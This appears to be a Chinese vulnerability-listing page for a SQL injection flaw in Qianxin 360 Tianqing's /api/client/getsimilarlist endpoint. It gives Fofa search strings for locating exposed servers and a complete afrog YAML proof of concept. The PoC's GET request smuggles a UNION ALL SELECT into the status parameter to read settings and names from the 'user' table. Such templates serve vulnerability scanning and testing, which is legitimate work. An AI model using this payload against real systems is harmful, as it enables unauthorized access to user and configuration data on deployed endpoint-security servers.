qianxin-360tianqing-getsimilarlist-sqli: 奇安信360天擎getsimilarlistSQL注入漏洞

日期: 2025-09-01 | 影响软件: 奇安信360天擎 | POC: 已公开

漏洞描述

奇安信360天擎getsimilarlistSQL注入漏洞 Fofa: body="/task/index/detail?id={item.id}" Fofa: title="360新天擎"

PoC代码[已公开]

id: qianxin-360tianqing-getsimilarlist-sqli

info:
  name: 奇安信360天擎getsimilarlistSQL注入漏洞
  author: zan8in
  severity: high
  verified: true
  description: |-
    奇安信360天擎getsimilarlistSQL注入漏洞
    Fofa: body="/task/index/detail?id={item.id}"
    Fofa: title="360新天擎"
  reference:
    - https://github.com/wy876/POC/blob/84a643dc1828024ec043f88a682848a0f059d45c/%E5%A5%87%E5%AE%89%E4%BF%A1360%E5%A4%A9%E6%93%8EgetsimilarlistSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
  tags: qianxin,360tianqing,sqli
  created: 2023/11/21

rules:
  r0:
    request:
      method: GET
      path: /api/client/getsimilarlist?status[0,1%29+union+all+select+%28%2F%2A%2150000select%2A%2F+79787337%29%2C+setting%2C+setting%2C+status%2C+name%2C+create_time+from+%22user%22+where+1+in+%281]=1&status[0]=1
    expression: |
      response.status == 200 && 
      response.headers["content-type"].contains("application/json") && 
      response.body.bcontains(b'"reason"') &&
      response.body.bcontains(b'"similar"') &&
      response.body.bcontains(b'"result"') &&
      response.body.bcontains(b'"list"')
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/qianxin-360tianqing-getsimilarlist-sqli.yaml

相关漏洞推荐